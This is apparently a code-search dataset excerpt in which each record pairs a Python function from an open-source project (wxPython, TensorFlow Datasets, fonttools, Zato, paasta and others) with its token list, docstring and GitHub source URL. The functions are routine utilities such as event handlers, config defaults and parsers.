def OnMouseEnter(self, event):
"""
Handles the ``wx.EVT_ENTER_WINDOW`` event for :class:`GradientButton`.
:param `event`: a :class:`MouseEvent` event to be processed.
"""
if not self.IsEnabled():
return
self._mouseAction = HOVER
self.Refresh()
event.Skip()
|
[
"def",
"OnMouseEnter",
"(",
"self",
",",
"event",
")",
":",
"if",
"not",
"self",
".",
"IsEnabled",
"(",
")",
":",
"return",
"self",
".",
"_mouseAction",
"=",
"HOVER",
"self",
".",
"Refresh",
"(",
")",
"event",
".",
"Skip",
"(",
")"
] |
https://github.com/wxWidgets/Phoenix/blob/b2199e299a6ca6d866aa6f3d0888499136ead9d6/wx/lib/agw/gradientbutton.py#L319-L331
|
||
HazyResearch/pdftotree
|
0686a1845c7901aa975544a9107fc10594523986
|
pdftotree/utils/pdf/render.py
|
python
|
Renderer.is_mention
|
(cell_val)
|
return cell_val >= 0
|
Nonnegative values in grid cells are reserved for mention ids
|
Nonnegative values in grid cells are reserved for mention ids
|
[
"Nonnegative",
"values",
"in",
"grid",
"cells",
"are",
"reserved",
"for",
"mention",
"ids"
] |
def is_mention(cell_val):
"""
Nonnegative values in grid cells are reserved for mention ids
"""
return cell_val >= 0
|
[
"def",
"is_mention",
"(",
"cell_val",
")",
":",
"return",
"cell_val",
">=",
"0"
] |
https://github.com/HazyResearch/pdftotree/blob/0686a1845c7901aa975544a9107fc10594523986/pdftotree/utils/pdf/render.py#L71-L75
|
|
byt3bl33d3r/pth-toolkit
|
3641cdc76c0f52275315c9b18bf08b22521bd4d7
|
lib/python2.7/site-packages/samba/samba3/__init__.py
|
python
|
Registry.subkeys
|
(self, key)
|
return keys
|
Retrieve the subkeys for the specified key.
:param key: Key path.
:return: list with key names
|
Retrieve the subkeys for the specified key.
|
[
"Retrieve",
"the",
"subkeys",
"for",
"the",
"specified",
"key",
"."
] |
def subkeys(self, key):
"""Retrieve the subkeys for the specified key.
:param key: Key path.
:return: list with key names
"""
data = self.tdb.get("%s\x00" % key)
if data is None:
return []
(num, ) = struct.unpack("<L", data[0:4])
keys = data[4:].split("\0")
assert keys[-1] == ""
keys.pop()
assert len(keys) == num
return keys
|
[
"def",
"subkeys",
"(",
"self",
",",
"key",
")",
":",
"data",
"=",
"self",
".",
"tdb",
".",
"get",
"(",
"\"%s\\x00\"",
"%",
"key",
")",
"if",
"data",
"is",
"None",
":",
"return",
"[",
"]",
"(",
"num",
",",
")",
"=",
"struct",
".",
"unpack",
"(",
"\"<L\"",
",",
"data",
"[",
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"]",
")",
"keys",
"=",
"data",
"[",
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":",
"]",
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"split",
"(",
"\"\\0\"",
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"keys",
"[",
"-",
"1",
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"==",
"\"\"",
"keys",
".",
"pop",
"(",
")",
"assert",
"len",
"(",
"keys",
")",
"==",
"num",
"return",
"keys"
] |
https://github.com/byt3bl33d3r/pth-toolkit/blob/3641cdc76c0f52275315c9b18bf08b22521bd4d7/lib/python2.7/site-packages/samba/samba3/__init__.py#L85-L99
|
|
tensorflow/datasets
|
2e496976d7d45550508395fb2f35cf958c8a3414
|
tensorflow_datasets/core/utils/py_utils.py
|
python
|
basename_from_url
|
(url: str)
|
return filename or 'unknown_name'
|
Returns file name of file at given url.
|
Returns file name of file at given url.
|
[
"Returns",
"file",
"name",
"of",
"file",
"at",
"given",
"url",
"."
] |
def basename_from_url(url: str) -> str:
"""Returns file name of file at given url."""
filename = urllib.parse.urlparse(url).path
filename = os.path.basename(filename)
# Replace `%2F` (html code for `/`) by `_`.
# This is consistent with how Chrome rename downloaded files.
filename = filename.replace('%2F', '_')
return filename or 'unknown_name'
|
[
"def",
"basename_from_url",
"(",
"url",
":",
"str",
")",
"->",
"str",
":",
"filename",
"=",
"urllib",
".",
"parse",
".",
"urlparse",
"(",
"url",
")",
".",
"path",
"filename",
"=",
"os",
".",
"path",
".",
"basename",
"(",
"filename",
")",
"# Replace `%2F` (html code for `/`) by `_`.",
"# This is consistent with how Chrome rename downloaded files.",
"filename",
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"filename",
".",
"replace",
"(",
"'%2F'",
",",
"'_'",
")",
"return",
"filename",
"or",
"'unknown_name'"
] |
https://github.com/tensorflow/datasets/blob/2e496976d7d45550508395fb2f35cf958c8a3414/tensorflow_datasets/core/utils/py_utils.py#L469-L476
|
|
numenta/numenta-apps
|
02903b0062c89c2c259b533eea2df6e8bb44eaf3
|
nta.utils/nta/utils/message_bus_connector.py
|
python
|
MessageBusConnector.consume
|
(self, mqName, blocking=True)
|
return consumer
|
Create an instance of _QueueConsumer iterable for consuming messages.
The iterable yields an instance of _ConsumedMessage.
mqName: name of the existing source message queue
blocking: if True, the iterable will block until another message becomes
available; if False, the iterable will terminate iteration when no more
messages are available in the queue. [Defaults to blocking=True]
The iterable raises: MessageQueueNotFound
Blocking iterable example:
with MessageBusConnector() as bus:
with bus.consume("myqueue") as consumer:
for msg in consumer:
processMessageBody(msg.body)
msg.ack()
Polling example:
with MessageBusConnector() as bus:
with bus.consume("myqueue") as consumer:
msg = consumer.pollOneMessage()
if msg is not None:
processMessageBody(msg.body)
msg.ack()
|
Create an instance of _QueueConsumer iterable for consuming messages.
The iterable yields an instance of _ConsumedMessage.
|
[
"Create",
"an",
"instance",
"of",
"_QueueConsumer",
"iterable",
"for",
"consuming",
"messages",
".",
"The",
"iterable",
"yields",
"an",
"instance",
"of",
"_ConsumedMessage",
"."
] |
def consume(self, mqName, blocking=True):
""" Create an instance of _QueueConsumer iterable for consuming messages.
The iterable yields an instance of _ConsumedMessage.
mqName: name of the existing source message queue
blocking: if True, the iterable will block until another message becomes
available; if False, the iterable will terminate iteration when no more
messages are available in the queue. [Defaults to blocking=True]
The iterable raises: MessageQueueNotFound
Blocking iterable example:
with MessageBusConnector() as bus:
with bus.consume("myqueue") as consumer:
for msg in consumer:
processMessageBody(msg.body)
msg.ack()
Polling example:
with MessageBusConnector() as bus:
with bus.consume("myqueue") as consumer:
msg = consumer.pollOneMessage()
if msg is not None:
processMessageBody(msg.body)
msg.ack()
"""
consumer = _QueueConsumer(
mqName=mqName,
blocking=blocking,
prefetchMax=self._PREFETCH_MAX,
bus=self)
self._consumers.append(consumer)
return consumer
|
[
"def",
"consume",
"(",
"self",
",",
"mqName",
",",
"blocking",
"=",
"True",
")",
":",
"consumer",
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"(",
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",",
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",",
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"_PREFETCH_MAX",
",",
"bus",
"=",
"self",
")",
"self",
".",
"_consumers",
".",
"append",
"(",
"consumer",
")",
"return",
"consumer"
] |
https://github.com/numenta/numenta-apps/blob/02903b0062c89c2c259b533eea2df6e8bb44eaf3/nta.utils/nta/utils/message_bus_connector.py#L369-L403
|
|
DataDog/integrations-core
|
934674b29d94b70ccc008f76ea172d0cdae05e1e
|
scylla/datadog_checks/scylla/config_models/defaults.py
|
python
|
instance_tls_verify
|
(field, value)
|
return True
|
[] |
def instance_tls_verify(field, value):
return True
|
[
"def",
"instance_tls_verify",
"(",
"field",
",",
"value",
")",
":",
"return",
"True"
] |
https://github.com/DataDog/integrations-core/blob/934674b29d94b70ccc008f76ea172d0cdae05e1e/scylla/datadog_checks/scylla/config_models/defaults.py#L253-L254
|
|||
krintoxi/NoobSec-Toolkit
|
38738541cbc03cedb9a3b3ed13b629f781ad64f6
|
NoobSecToolkit /tools/inject/plugins/dbms/maxdb/filesystem.py
|
python
|
Filesystem.__init__
|
(self)
|
[] |
def __init__(self):
GenericFilesystem.__init__(self)
|
[
"def",
"__init__",
"(",
"self",
")",
":",
"GenericFilesystem",
".",
"__init__",
"(",
"self",
")"
] |
https://github.com/krintoxi/NoobSec-Toolkit/blob/38738541cbc03cedb9a3b3ed13b629f781ad64f6/NoobSecToolkit /tools/inject/plugins/dbms/maxdb/filesystem.py#L12-L13
|
||||
fonttools/fonttools
|
892322aaff6a89bea5927379ec06bc0da3dfb7df
|
Lib/fontTools/otlLib/builder.py
|
python
|
ChainContextualBuilder.buildFormat3Subtable
|
(self, rule, chaining=True)
|
return st
|
[] |
def buildFormat3Subtable(self, rule, chaining=True):
st = self.newSubtable_(chaining=chaining)
st.Format = 3
if chaining:
self.setBacktrackCoverage_(rule.prefix, st)
self.setLookAheadCoverage_(rule.suffix, st)
self.setInputCoverage_(rule.glyphs, st)
else:
self.setCoverage_(rule.glyphs, st)
self.buildLookupList(rule, st)
return st
|
[
"def",
"buildFormat3Subtable",
"(",
"self",
",",
"rule",
",",
"chaining",
"=",
"True",
")",
":",
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",",
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")",
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"buildLookupList",
"(",
"rule",
",",
"st",
")",
"return",
"st"
] |
https://github.com/fonttools/fonttools/blob/892322aaff6a89bea5927379ec06bc0da3dfb7df/Lib/fontTools/otlLib/builder.py#L531-L541
|
|||
rootpy/rootpy
|
3926935e1f2100d8ba68070c2ab44055d4800f73
|
rootpy/extern/pyparsing.py
|
python
|
nullDebugAction
|
(*args)
|
Do-nothing' debug action, to suppress debugging output during parsing.
|
Do-nothing' debug action, to suppress debugging output during parsing.
|
[
"Do",
"-",
"nothing",
"debug",
"action",
"to",
"suppress",
"debugging",
"output",
"during",
"parsing",
"."
] |
def nullDebugAction(*args):
"""'Do-nothing' debug action, to suppress debugging output during parsing."""
pass
|
[
"def",
"nullDebugAction",
"(",
"*",
"args",
")",
":",
"pass"
] |
https://github.com/rootpy/rootpy/blob/3926935e1f2100d8ba68070c2ab44055d4800f73/rootpy/extern/pyparsing.py#L744-L746
|
||
oilshell/oil
|
94388e7d44a9ad879b12615f6203b38596b5a2d3
|
core/state.py
|
python
|
_ArgFrame.GetNumArgs
|
(self)
|
return len(self.argv) - self.num_shifted
|
[] |
def GetNumArgs(self):
# type: () -> int
return len(self.argv) - self.num_shifted
|
[
"def",
"GetNumArgs",
"(",
"self",
")",
":",
"# type: () -> int",
"return",
"len",
"(",
"self",
".",
"argv",
")",
"-",
"self",
".",
"num_shifted"
] |
https://github.com/oilshell/oil/blob/94388e7d44a9ad879b12615f6203b38596b5a2d3/core/state.py#L627-L629
|
|||
zatosource/zato
|
2a9d273f06f9d776fbfeb53e73855af6e40fa208
|
code/zato-server/src/zato/server/connection/connector/subprocess_/base.py
|
python
|
BaseConnectionContainer._create_outconn
|
(self, msg)
|
return Response()
|
A low-level method to create an outgoing connection. Must be called with self.lock held.
|
A low-level method to create an outgoing connection. Must be called with self.lock held.
|
[
"A",
"low",
"-",
"level",
"method",
"to",
"create",
"an",
"outgoing",
"connection",
".",
"Must",
"be",
"called",
"with",
"self",
".",
"lock",
"held",
"."
] |
def _create_outconn(self, msg):
""" A low-level method to create an outgoing connection. Must be called with self.lock held.
"""
# Not all outgoing connections have their parent definitions
def_id = msg.get('def_id')
if def_id:
# Just to be on the safe side, make sure that our connection exists
if not msg.def_id in self.connections:
return Response(_http_503, 'Could not find def_id among {}'.format(self.connections.keys()), 'text/plain')
# Map outconn to its definition
self.outconn_id_to_def_id[msg.id] = msg.def_id
# Create the outconn now
self.outconns[msg.id] = msg
# Maps outconn name to its ID
self.outconn_name_to_id[msg.name] = msg.id
self.logger.info('Added connection `%s`, self.outconns -> `%s`', msg.name, self.outconns)
# Everything OK
return Response()
|
[
"def",
"_create_outconn",
"(",
"self",
",",
"msg",
")",
":",
"# Not all outgoing connections have their parent definitions",
"def_id",
"=",
"msg",
".",
"get",
"(",
"'def_id'",
")",
"if",
"def_id",
":",
"# Just to be on the safe side, make sure that our connection exists",
"if",
"not",
"msg",
".",
"def_id",
"in",
"self",
".",
"connections",
":",
"return",
"Response",
"(",
"_http_503",
",",
"'Could not find def_id among {}'",
".",
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"(",
"self",
".",
"connections",
".",
"keys",
"(",
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")",
",",
"'text/plain'",
")",
"# Map outconn to its definition",
"self",
".",
"outconn_id_to_def_id",
"[",
"msg",
".",
"id",
"]",
"=",
"msg",
".",
"def_id",
"# Create the outconn now",
"self",
".",
"outconns",
"[",
"msg",
".",
"id",
"]",
"=",
"msg",
"# Maps outconn name to its ID",
"self",
".",
"outconn_name_to_id",
"[",
"msg",
".",
"name",
"]",
"=",
"msg",
".",
"id",
"self",
".",
"logger",
".",
"info",
"(",
"'Added connection `%s`, self.outconns -> `%s`'",
",",
"msg",
".",
"name",
",",
"self",
".",
"outconns",
")",
"# Everything OK",
"return",
"Response",
"(",
")"
] |
https://github.com/zatosource/zato/blob/2a9d273f06f9d776fbfeb53e73855af6e40fa208/code/zato-server/src/zato/server/connection/connector/subprocess_/base.py#L368-L392
|
|
nanoporetech/medaka
|
2b83074fe3b6a6ec971614bfc6804f543fe1e5f0
|
medaka/features.py
|
python
|
FeatureEncoderRegistrar.__new__
|
(cls, clsname, bases, attrs)
|
return newclass
|
Register class to `feature_encoders` dict upon instantiation.
|
Register class to `feature_encoders` dict upon instantiation.
|
[
"Register",
"class",
"to",
"feature_encoders",
"dict",
"upon",
"instantiation",
"."
] |
def __new__(cls, clsname, bases, attrs):
"""Register class to `feature_encoders` dict upon instantiation."""
newclass = super(FeatureEncoderRegistrar, cls).__new__(
cls, clsname, bases, attrs)
cls.register_feature_encoder(clsname, newclass)
return newclass
|
[
"def",
"__new__",
"(",
"cls",
",",
"clsname",
",",
"bases",
",",
"attrs",
")",
":",
"newclass",
"=",
"super",
"(",
"FeatureEncoderRegistrar",
",",
"cls",
")",
".",
"__new__",
"(",
"cls",
",",
"clsname",
",",
"bases",
",",
"attrs",
")",
"cls",
".",
"register_feature_encoder",
"(",
"clsname",
",",
"newclass",
")",
"return",
"newclass"
] |
https://github.com/nanoporetech/medaka/blob/2b83074fe3b6a6ec971614bfc6804f543fe1e5f0/medaka/features.py#L297-L302
|
|
Yelp/paasta
|
6c08c04a577359509575c794b973ea84d72accf9
|
paasta_tools/utils.py
|
python
|
SystemPaastaConfig.get_cluster
|
(self)
|
Get the cluster defined in this host's cluster config file.
:returns: The name of the cluster defined in the paasta configuration
|
Get the cluster defined in this host's cluster config file.
|
[
"Get",
"the",
"cluster",
"defined",
"in",
"this",
"host",
"s",
"cluster",
"config",
"file",
"."
] |
def get_cluster(self) -> str:
"""Get the cluster defined in this host's cluster config file.
:returns: The name of the cluster defined in the paasta configuration
"""
try:
return self.config_dict["cluster"]
except KeyError:
raise PaastaNotConfiguredError(
"Could not find cluster in configuration directory: %s" % self.directory
)
|
[
"def",
"get_cluster",
"(",
"self",
")",
"->",
"str",
":",
"try",
":",
"return",
"self",
".",
"config_dict",
"[",
"\"cluster\"",
"]",
"except",
"KeyError",
":",
"raise",
"PaastaNotConfiguredError",
"(",
"\"Could not find cluster in configuration directory: %s\"",
"%",
"self",
".",
"directory",
")"
] |
https://github.com/Yelp/paasta/blob/6c08c04a577359509575c794b973ea84d72accf9/paasta_tools/utils.py#L2088-L2098
|
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